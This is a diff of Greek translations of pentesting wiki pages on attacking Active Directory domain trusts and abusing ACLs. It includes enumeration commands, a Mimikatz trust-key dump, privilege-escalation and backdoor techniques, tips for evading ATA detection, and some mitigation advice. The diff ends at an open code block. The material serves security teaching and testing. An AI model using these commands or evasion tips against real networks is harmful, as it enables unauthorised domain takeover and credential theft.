- Μια σχέση trust μπορεί να ρυθμιστεί ως **bidirectional trust** (και τα δύο εμπιστεύονται το ένα το άλλο) ή ως **one-way trust** (μόνο το ένα εμπιστεύεται το άλλο).
|
||||
- Μια σχέση trust μπορεί επίσης να είναι **transitive** (A trust B, B trust C, τότε A trust C) ή **non-transitive**.
|
||||
- Μια σχέση trust μπορεί να ρυθμιστεί ως **bidirectional trust** (και οι δύο εμπιστεύονται ο ένας τον άλλον) ή ως **one-way trust** (μόνο ο ένας εμπιστεύεται τον άλλο).
|
||||
|
||||
### Attack Path
|
||||
|
||||
1. **Enumerate** τις trusting relationships
|
||||
2. Ελέγξτε αν οποιοδήποτε **security principal** (user/group/computer) έχει **access** σε πόρους του **άλλου domain**, ίσως μέσω ACE entries ή με το να είναι σε groups του άλλου domain. Ψάξτε για **relationships across domains** (το trust πιθανώς δημιουργήθηκε γι' αυτό).
|
||||
1. kerberoast σε αυτή την περίπτωση μπορεί να είναι μια άλλη επιλογή.
|
||||
3. **Compromise** τους **accounts** που μπορούν να **pivot** μεταξύ domains.
|
||||
1. **Καταγράψτε** τις σχέσεις εμπιστοσύνης
|
||||
2. Ελέγξτε αν κάποιος **security principal** (user/group/computer) έχει **πρόσβαση** σε πόρους του **άλλου domain**, ίσως μέσω ACE entries ή με το να είναι σε groups του άλλου domain. Ψάξτε για **σχέσεις ανάμεσα σε domains** (η trust δημιουργήθηκε πιθανώς γι' αυτό).
|
||||
1. kerberoast σε αυτή την περίπτωση θα μπορούσε να είναι άλλη επιλογή.
|
||||
3. **Συμβιβάστε** τους **λογαριασμούς** οι οποίοι μπορούν να **pivot** ανάμεσα στα domains.
|
||||
|
||||
Επιτιθέμενοι μπορούν να αποκτήσουν πρόσβαση σε πόρους σε άλλο domain μέσω τριών κύριων μηχανισμών:
|
||||
Οι επιτιθέμενοι που έχουν πρόσβαση σε πόρους σε άλλο domain μπορούν να το κάνουν μέσω τριών κύριων μηχανισμών:
|
||||
|
||||
- **Local Group Membership**: Principals μπορούν να προστεθούν σε local groups σε μηχανές, όπως η “Administrators” group σε έναν server, δίνοντάς τους σημαντικό έλεγχο πάνω στη μηχανή.
|
||||
- **Foreign Domain Group Membership**: Principals μπορούν επίσης να είναι μέλη groups εντός του ξένου domain. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση του trust και το scope της ομάδας.
|
||||
- **Access Control Lists (ACLs)**: Principals μπορεί να καθορίζονται σε ένα **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** μέσα σε μια **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους θέλουν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι ανεκτίμητο.
|
||||
- **Local Group Membership**: Principals μπορεί να προστεθούν σε local groups σε μηχανήματα, όπως η “Administrators” group σε έναν server, δίνοντάς τους σημαντικό έλεγχο πάνω σε αυτό το μηχάνημα.
|
||||
- **Foreign Domain Group Membership**: Principals μπορούν επίσης να είναι μέλη groups εντός του ξένου domain. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της trust και το scope του group.
|
||||
- **Access Control Lists (ACLs)**: Principals μπορεί να δηλωθούν σε ένα **ACL**, ιδιαίτερα ως entities σε **ACEs** μέσα σε ένα **DACL**, παρέχοντάς τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους θέλουν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το whitepaper με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι ανεκτίμητο πόρο.
|
||||
|
||||
### Find external users/groups with permissions
|
||||
|
||||
Μπορείτε να ελέγξετε **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** για να βρείτε foreign security principals στο domain. Αυτοί θα είναι χρήστες/ομάδες από **ένα εξωτερικό domain/forest**.
|
||||
Μπορείτε να ελέγξετε **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** για να βρείτε foreign security principals στο domain. Αυτοί θα είναι χρήστες/groups από **ένα εξωτερικό domain/forest**.
|
||||
|
||||
Μπορείτε να το ελέγξετε αυτό στο **Bloodhound** ή χρησιμοποιώντας **powerview**:
|
||||
Μπορείτε να ελέγξετε αυτό στο **Bloodhound** ή χρησιμοποιώντας το powerview:
|
||||
```powershell
|
||||
# Get users that are i groups outside of the current domain
|
||||
Get-DomainForeignUser
|
||||
@ -624,7 +626,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
|
||||
WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
Άλλοι τρόποι για την καταγραφή των domain trusts:
|
||||
Άλλοι τρόποι για να απαριθμήσετε domain trusts:
|
||||
```bash
|
||||
# Get DCs
|
||||
nltest /dsgetdc:<DOMAIN>
|
||||
@ -638,7 +640,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> Υπάρχουν **2 trusted keys**, μία για _Child --> Parent_ και άλλη για _Parent_ --> _Child_.\
|
||||
> Μπορείτε να δείτε ποια χρησιμοποιείται από τον τρέχον domain με:
|
||||
> Μπορείτε να δείτε ποια χρησιμοποιεί το τρέχον domain με:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
@ -647,7 +649,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
|
||||
#### SID-History Injection
|
||||
|
||||
Αναβαθμίστε σε Enterprise admin στον child/parent domain εκμεταλλευόμενοι το trust με SID-History injection:
|
||||
Ανεβάστε προνόμια ως Enterprise admin στο child/parent domain εκμεταλλευόμενοι το trust με SID-History injection:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -656,47 +658,47 @@ sid-history-injection.md
|
||||
|
||||
#### Exploit writeable Configuration NC
|
||||
|
||||
Η κατανόηση του πώς μπορεί να εκμεταλλευτεί το Configuration Naming Context (NC) είναι κρίσιμη. Το Configuration NC λειτουργεί ως κεντρικό αποθετήριο για δεδομένα ρύθμισης σε όλο το forest σε περιβάλλοντα Active Directory (AD). Αυτά τα δεδομένα αναπαράγονται σε κάθε Domain Controller (DC) στο forest, με τους writable DCs να διατηρούν ένα εγγράψιμο αντίγραφο του Configuration NC. Για να το εκμεταλλευτεί κάποιος, απαιτούνται **SYSTEM privileges σε DC**, κατά προτίμηση σε child DC.
|
||||
Η κατανόηση του πώς μπορεί να εκμεταλλευτεί το Configuration Naming Context (NC) είναι κρίσιμη. Το Configuration NC λειτουργεί ως κεντρικό αποθετήριο για δεδομένα ρυθμίσεων σε ένα forest σε περιβάλλοντα Active Directory (AD). Αυτά τα δεδομένα αναπαράγονται σε κάθε Domain Controller (DC) εντός του forest, με τους writable DCs να διατηρούν ένα εγγράψιμο αντίγραφο του Configuration NC. Για να το εκμεταλλευτεί κανείς, πρέπει να έχει **SYSTEM privileges on a DC**, κατά προτίμηση σε child DC.
|
||||
|
||||
**Link GPO to root DC site**
|
||||
|
||||
Το Sites container του Configuration NC περιλαμβάνει πληροφορίες για τις τοποθεσίες όλων των domain-joined computers στο AD forest. Λειτουργώντας με SYSTEM privileges σε οποιονδήποτε DC, οι επιτιθέμενοι μπορούν να συνδέσουν GPOs στις root DC sites. Αυτή η ενέργεια μπορεί εν δυνάμει να συμβιβάσει το root domain χειριζόμενοι τις πολιτικές που εφαρμόζονται σε αυτές τις τοποθεσίες.
|
||||
Το Sites container του Configuration NC περιλαμβάνει πληροφορίες για τις τοποθεσίες όλων των domain-joined υπολογιστών εντός του AD forest. Χρησιμοποιώντας SYSTEM privileges σε οποιονδήποτε DC, οι επιτιθέμενοι μπορούν να συνδέσουν GPOs στις root DC sites. Αυτή η ενέργεια ενδέχεται να υπονομεύσει το root domain με την παραποίηση των πολιτικών που εφαρμόζονται σε αυτές τις τοποθεσίες.
|
||||
|
||||
Για λεπτομερείς πληροφορίες, μπορεί κανείς να εξερευνήσει την έρευνα στο [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
Για λεπτομερείς πληροφορίες, μπορείτε να δείτε έρευνα για [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
**Compromise any gMSA in the forest**
|
||||
|
||||
Ένας διανυσματικός τρόπος επίθεσης περιλαμβάνει το στόχευση privileged gMSAs εντός του domain. Το KDS Root key, απαραίτητο για τον υπολογισμό των κωδικών των gMSAs, αποθηκεύεται στο Configuration NC. Με SYSTEM privileges σε οποιονδήποτε DC, είναι δυνατό να αποκτήσει κανείς πρόσβαση στο KDS Root key και να υπολογίσει τους κωδικούς για οποιοδήποτε gMSA σε όλο το forest.
|
||||
Ένας διεισδυτικός άξονας στοχεύει privileged gMSAs εντός του domain. Το KDS Root key, απαραίτητο για τον υπολογισμό των κωδικών των gMSAs, αποθηκεύεται στο Configuration NC. Με SYSTEM privileges σε οποιονδήποτε DC, είναι δυνατή η πρόσβαση στο KDS Root key και ο υπολογισμός των κωδικών για οποιοδήποτε gMSA σε όλο το forest.
|
||||
|
||||
Λεπτομερής ανάλυση και βήμα-προς-βήμα οδηγίες υπάρχουν στο:
|
||||
Detailed analysis and step-by-step guidance can be found in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
Συμπληρωματική delegated MSA επίθεση (BadSuccessor – abusing migration attributes):
|
||||
Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
badsuccessor-dmsa-migration-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
Επιπρόσθετη εξωτερική έρευνα: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Schema change attack**
|
||||
|
||||
Αυτή η μέθοδος απαιτεί υπομονή, αναμένοντας τη δημιουργία νέων privileged AD objects. Με SYSTEM privileges, ένας επιτιθέμενος μπορεί να τροποποιήσει το AD Schema προκειμένου να δώσει σε οποιονδήποτε χρήστη πλήρη έλεγχο σε όλες τις classes. Αυτό μπορεί να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση και έλεγχο επί νεοδημιουργούμενων AD objects.
|
||||
Αυτή η μέθοδος απαιτεί υπομονή, αναμένοντας τη δημιουργία νέων privileged AD objects. Με SYSTEM privileges, ένας επιτιθέμενος μπορεί να τροποποιήσει το AD Schema για να χορηγήσει σε οποιονδήποτε χρήστη πλήρη έλεγχο σε όλες τις κλάσεις. Αυτό μπορεί να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση και έλεγχο σε νεοδημιουργημένα AD objects.
|
||||
|
||||
Περισσότερη ανάγνωση διαθέσιμη στο [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
Για περαιτέρω ανάγνωση δείτε [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
|
||||
**From DA to EA with ADCS ESC5**
|
||||
|
||||
Η ευπάθεια ADCS ESC5 στοχεύει τον έλεγχο επί Public Key Infrastructure (PKI) objects για να δημιουργήσει ένα certificate template που επιτρέπει authentication ως οποιοσδήποτε χρήστης εντός του forest. Εφόσον τα PKI objects κατοικούν στο Configuration NC, ο συμβιβασμός ενός writable child DC επιτρέπει την εκτέλεση ESC5 attacks.
|
||||
Το ADCS ESC5 vulnerability στοχεύει τον έλεγχο πάνω σε Public Key Infrastructure (PKI) objects για να δημιουργήσει ένα certificate template που επιτρέπει authentication ως οποιοσδήποτε χρήστης εντός του forest. Καθώς τα PKI objects βρίσκονται στο Configuration NC, η παραβίαση ενός writable child DC επιτρέπει την εκτέλεση ESC5 attacks.
|
||||
|
||||
Περισσότερες λεπτομέρειες μπορείτε να βρείτε στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια χωρίς ADCS, ο επιτιθέμενος έχει τη δυνατότητα να στήσει τα απαραίτητα components, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
Περισσότερες λεπτομέρειες μπορείτε να διαβάσετε στο [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Σε σενάρια χωρίς ADCS, ο επιτιθέμενος έχει τη δυνατότητα να στήσει τα απαραίτητα components, όπως συζητείται στο [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### Εξωτερικό Forest Domain - Μονόδρομος (Inbound) ή αμφίδρομος
|
||||
### External Forest Domain - One-Way (Inbound) or bidirectional
|
||||
```bash
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
@ -707,14 +709,14 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
Σε αυτό το σενάριο **το domain σας εμπιστεύεται** ένα εξωτερικό, δίνοντάς σας **απροσδιόριστα δικαιώματα** πάνω σε αυτό. Θα χρειαστεί να βρείτε **ποιοι principals του domain σας έχουν ποια πρόσβαση στο εξωτερικό domain** και στη συνέχεια να προσπαθήσετε να τα εκμεταλλευτείτε:
|
||||
Σε αυτό το σενάριο **το domain σας εμπιστεύεται** από ένα εξωτερικό, δίνοντάς σας **απροσδιόριστες άδειες** πάνω σε αυτό. Θα χρειαστεί να βρείτε **ποιοι principals του domain σας έχουν ποια πρόσβαση στο εξωτερικό domain** και στη συνέχεια να προσπαθήσετε να τα εκμεταλλευτείτε:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
{{#endref}}
|
||||
|
||||
### Εξωτερικό Forest Domain - Μονόδρομη (Εξερχόμενη)
|
||||
### Εξωτερικό Forest Domain - Μονομερές (Εξερχόμενο)
|
||||
```bash
|
||||
Get-DomainTrust -Domain current.local
|
||||
|
||||
@ -726,36 +728,36 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
Σε αυτό το σενάριο **το domain σας** εμπιστεύεται κάποια **privileges** σε έναν principal από **διαφορετικά domains**.
|
||||
Σε αυτό το σενάριο **your domain** εμπιστεύεται κάποια **privileges** σε principal από **different domains**.
|
||||
|
||||
Ωστόσο, όταν ένα **domain is trusted** από το trusting domain, το trusted domain **creates a user** με ένα **predictable name** που χρησιμοποιεί ως **password the trusted password**. Αυτό σημαίνει ότι είναι δυνατό να **access a user from the trusting domain to get inside the trusted one** για να το αναγνωρίσει κανείς (enumerate) και να προσπαθήσει να κλιμακώσει περισσότερα privileges:
|
||||
Ωστόσο, όταν ένα **domain is trusted** από το trusting domain, το trusted domain **creates a user** με ένα **predictable name** που χρησιμοποιεί ως **password the trusted password**. Αυτό σημαίνει ότι είναι δυνατό να **access a user from the trusting domain to get inside the trusted one** για να το καταγράψουμε (enumerate) και να προσπαθήσουμε να ανεβάσουμε περισσότερα privileges:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Ένας άλλος τρόπος για να παραβιαστεί το trusted domain είναι να βρεθεί ένας [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) που έχει δημιουργηθεί στην **αντίθετη κατεύθυνση** του domain trust (κάτι που δεν είναι πολύ συνηθισμένο).
|
||||
Ένας άλλος τρόπος για να συμβιβαστεί το trusted domain είναι να βρεθεί ένας [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) που έχει δημιουργηθεί στην **απευθείας αντίθετη κατεύθυνση** του domain trust (κάτι που δεν είναι πολύ κοινό).
|
||||
|
||||
Ένας επιπλέον τρόπος για να παραβιαστεί το trusted domain είναι να περιμένει ο attacker σε ένα μηχάνημα όπου ένας **user από το trusted domain μπορεί να έχει πρόσβαση** για να συνδεθεί μέσω **RDP**. Έπειτα, ο attacker μπορεί να εγχύσει κώδικα στη διεργασία της RDP session και να **access the origin domain of the victim** από εκεί.\
|
||||
Επιπλέον, εάν ο **victim mounted his hard drive**, από τη διεργασία της **RDP session** ο attacker θα μπορούσε να αποθηκεύσει **backdoors** στον **startup folder of the hard drive**. Αυτή η τεχνική ονομάζεται **RDPInception.**
|
||||
Ένας άλλος τρόπος για να συμβιβαστεί το trusted domain είναι να περιμένει ο attacker σε μια μηχανή όπου ένας **user from the trusted domain can access** για να συνδεθεί μέσω **RDP**. Τότε, ο attacker θα μπορούσε να εισάγει κώδικα στη διεργασία της RDP session και να **access the origin domain of the victim** από εκεί.\
|
||||
Επιπλέον, αν ο **victim mounted his hard drive**, από τη διεργασία της **RDP session** ο attacker θα μπορούσε να τοποθετήσει **backdoors** στον **startup folder of the hard drive**. Αυτή η τεχνική ονομάζεται **RDPInception.**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Domain trust abuse mitigation
|
||||
### Μείωση κατάχρησης domain trust
|
||||
|
||||
### **SID Filtering:**
|
||||
|
||||
- Ο κίνδυνος επιθέσεων που εκμεταλλεύονται το SID history attribute μέσω forest trusts μετριάζεται από το **SID Filtering**, το οποίο είναι ενεργοποιημένο εξ ορισμού σε όλα τα inter-forest trusts. Αυτό βασίζεται στην υπόθεση ότι τα intra-forest trusts είναι ασφαλή, θεωρώντας το forest, αντί για το domain, ως το όριο ασφαλείας σύμφωνα με τη θέση της Microsoft.
|
||||
- Ο κίνδυνος επιθέσεων που αξιοποιούν το SID history attribute σε forest trusts μειώνεται από το SID Filtering, το οποίο είναι ενεργοποιημένο από προεπιλογή σε όλα τα inter-forest trusts. Αυτό βασίζεται στην υπόθεση ότι τα intra-forest trusts είναι ασφαλή, θεωρώντας το forest, αντί για το domain, ως το όριο ασφάλειας σύμφωνα με τη θέση της Microsoft.
|
||||
- Ωστόσο, υπάρχει ένα ζήτημα: το SID filtering μπορεί να διαταράξει εφαρμογές και πρόσβαση χρηστών, οδηγώντας σε περιστασιακή απενεργοποίησή του.
|
||||
|
||||
### **Selective Authentication:**
|
||||
|
||||
- Για inter-forest trusts, η χρήση της **Selective Authentication** εξασφαλίζει ότι οι χρήστες από τα δύο forests δεν αυθεντικοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες ώστε οι χρήστες να έχουν πρόσβαση σε domains και servers εντός του trusting domain ή forest.
|
||||
- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του writable Configuration Naming Context (NC) ή από επιθέσεις στον trust account.
|
||||
- Για inter-forest trusts, η χρήση του Selective Authentication εξασφαλίζει ότι οι χρήστες από τα δύο forests δεν πιστοποιούνται αυτόματα. Αντίθετα, απαιτούνται ρητές άδειες για να έχουν οι χρήστες πρόσβαση σε domains και servers εντός του trusting domain ή forest.
|
||||
- Είναι σημαντικό να σημειωθεί ότι αυτά τα μέτρα δεν προστατεύουν από την εκμετάλλευση του writable Configuration Naming Context (NC) ούτε από επιθέσεις στον trust account.
|
||||
|
||||
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
@ -766,35 +768,35 @@ rdp-sessions-abuse.md
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Some General Defenses
|
||||
## Γενικά Μέτρα Άμυνας
|
||||
|
||||
[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Defensive Measures for Credential Protection**
|
||||
### **Αμυντικά Μέτρα για την Προστασία Διαπιστευτηρίων**
|
||||
|
||||
- **Domain Admins Restrictions**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους hosts.
|
||||
- **Service Account Privileges**: Οι υπηρεσίες δεν θα πρέπει να τρέχουν με Domain Admin (DA) privileges για να διατηρείται η ασφάλεια.
|
||||
- **Temporal Privilege Limitation**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Domain Admins Restrictions**: Συνιστάται οι Domain Admins να επιτρέπεται να κάνουν login μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους hosts.
|
||||
- **Service Account Privileges**: Οι υπηρεσίες δεν πρέπει να τρέχουν με Domain Admin (DA) προνόμια για να διατηρείται η ασφάλεια.
|
||||
- **Temporal Privilege Limitation**: Για εργασίες που απαιτούν DA προνόμια, η διάρκεια τους θα πρέπει να είναι περιορισμένη. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Implementing Deception Techniques**
|
||||
### **Εφαρμογή τεχνικών Αποπλάνησης (Deception)**
|
||||
|
||||
- Η υλοποίηση deception περιλαμβάνει την τοποθέτηση παγίδων, όπως decoy users ή computers, με χαρακτηριστικά όπως κωδικούς που δεν λήγουν ή που είναι επισημασμένοι ως Trusted for Delegation. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών προνομίων.
|
||||
- Η εφαρμογή deception περιλαμβάνει τη δημιουργία παγίδων, όπως decoy users ή computers, με χαρακτηριστικά όπως passwords που δεν λήγουν ή που είναι markάρισμενα ως Trusted for Delegation. Μια λεπτομερής προσέγγιση περιλαμβάνει τη δημιουργία χρηστών με συγκεκριμένα δικαιώματα ή την προσθήκη τους σε ομάδες υψηλών προνομίων.
|
||||
- Ένα πρακτικό παράδειγμα περιλαμβάνει τη χρήση εργαλείων όπως: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Περισσότερα για την ανάπτυξη deception τεχνικών βρίσκονται στο [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
- Περισσότερα για την ανάπτυξη deception τεχνικών μπορείτε να βρείτε στο [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Identifying Deception**
|
||||
### **Ανίχνευση Deception**
|
||||
|
||||
- **For User Objects**: Ύποπτοι δείκτες περιλαμβάνουν μη τυπικό ObjectSID, σπάνιες συνδέσεις (infrequent logons), ημερομηνίες δημιουργίας και χαμηλό αριθμό αποτυχημένων κωδικών (bad password counts).
|
||||
- **General Indicators**: Η σύγκριση χαρακτηριστικών πιθανών decoy objects με εκείνα των αυθεντικών μπορεί να αποκαλύψει ασυνέπειες. Εργαλεία όπως το [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) μπορούν να βοηθήσουν στον εντοπισμό τέτοιων deceptions.
|
||||
- **Για User Objects**: Ενδείξεις ύποπτης δραστηριότητας περιλαμβάνουν ασυνήθιστο ObjectSID, σπάνιες συνδέσεις (infrequent logons), ημερομηνίες δημιουργίας και χαμηλούς μετρητές bad password.
|
||||
- **Γενικοί Δείκτες**: Η σύγκριση των attributes πιθανών decoy αντικειμένων με αυτά των πραγματικών μπορεί να αποκαλύψει ασυνέπειες. Εργαλεία όπως το [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) μπορούν να βοηθήσουν στον εντοπισμό τέτοιων deception.
|
||||
|
||||
### **Bypassing Detection Systems**
|
||||
### **Παράκαμψη Συστημάτων Ανίχνευσης**
|
||||
|
||||
- **Microsoft ATA Detection Bypass**:
|
||||
- **User Enumeration**: Αποφεύγοντας την enumeration των sessions σε Domain Controllers για να μην ενεργοποιηθεί το ATA detection.
|
||||
- **Ticket Impersonation**: Η χρήση **aes** keys για τη δημιουργία tickets βοηθά στην αποφυγή ανίχνευσης, καθώς δεν γίνεται downgrade σε NTLM.
|
||||
- **DCSync Attacks**: Η εκτέλεση από μη Domain Controller για να αποφευχθεί το ATA detection συνιστάται, καθώς η άμεση εκτέλεση από έναν Domain Controller θα προκαλέσει ειδοποιήσεις.
|
||||
- **User Enumeration**: Αποφυγή enumeration συνεδριών σε Domain Controllers για να μην ενεργοποιηθεί το ATA.
|
||||
- **Ticket Impersonation**: Η χρήση **aes** keys για τη δημιουργία ticket βοηθάει στην αποφυγή ανίχνευσης μην υποβαθμίζοντας σε NTLM.
|
||||
- **DCSync Attacks**: Συνιστάται η εκτέλεση από μη-Domain Controller για να αποφευχθεί η ανίχνευση από ATA, καθώς η άμεση εκτέλεση από Domain Controller θα προκαλέσει ειδοποιήσεις.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
|
||||
- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Κατάχρηση Active Directory ACLs/ACEs
|
||||
# Κατάχρηση των Active Directory ACLs/ACEs
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Αυτή η σελίδα είναι κυρίως μια σύνοψη των τεχνικών από** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **και** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Για περισσότερες λεπτομέρειες, δείτε τα πρωτότυπα άρθρα.**
|
||||
**Αυτή η σελίδα είναι κυρίως μια περίληψη των τεχνικών από** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **και** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Για περισσότερες λεπτομέρειες, δείτε τα αρχικά άρθρα.**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,32 +11,32 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll Δικαιώματα σε χρήστη**
|
||||
## **GenericAll δικαιώματα σε χρήστη**
|
||||
|
||||
Αυτό το προνόμιο παρέχει σε έναν επιτιθέμενο πλήρη έλεγχο σε έναν λογαριασμό χρήστη-στόχο. Μόλις τα δικαιώματα `GenericAll` επιβεβαιωθούν χρησιμοποιώντας την εντολή `Get-ObjectAcl`, ο επιτιθέμενος μπορεί:
|
||||
Αυτό το προνόμιο δίνει σε έναν επιτιθέμενο πλήρη έλεγχο πάνω σε έναν στοχευμένο λογαριασμό χρήστη. Μόλις τα δικαιώματα `GenericAll` επιβεβαιωθούν χρησιμοποιώντας την εντολή `Get-ObjectAcl`, ένας επιτιθέμενος μπορεί να:
|
||||
|
||||
- **Αλλαγή του Κωδικού του Στόχου**: Χρησιμοποιώντας `net user <username> <password> /domain`, ο επιτιθέμενος μπορεί να επαναφέρει τον κωδικό του χρήστη.
|
||||
- **Targeted Kerberoasting**: Ανάθεσε ένα SPN στον λογαριασμό του χρήστη για να τον κάνεις kerberoastable, στη συνέχεια χρησιμοποίησε Rubeus και targetedKerberoast.py για να εξάγεις και να προσπαθήσεις να σπάσεις τα hashes του ticket-granting ticket (TGT).
|
||||
- **Αλλαγή του κωδικού του στόχου**: Χρησιμοποιώντας `net user <username> <password> /domain`, ο επιτιθέμενος μπορεί να επαναφέρει τον κωδικό του χρήστη.
|
||||
- **Targeted Kerberoasting**: Ανάθεσε ένα SPN στον λογαριασμό του χρήστη για να τον καταστήσεις kerberoastable, στη συνέχεια χρησιμοποίησε Rubeus και targetedKerberoast.py για να εξαγάγεις και να επιχειρήσεις να σπάσεις τα hashes του ticket-granting ticket (TGT).
|
||||
```bash
|
||||
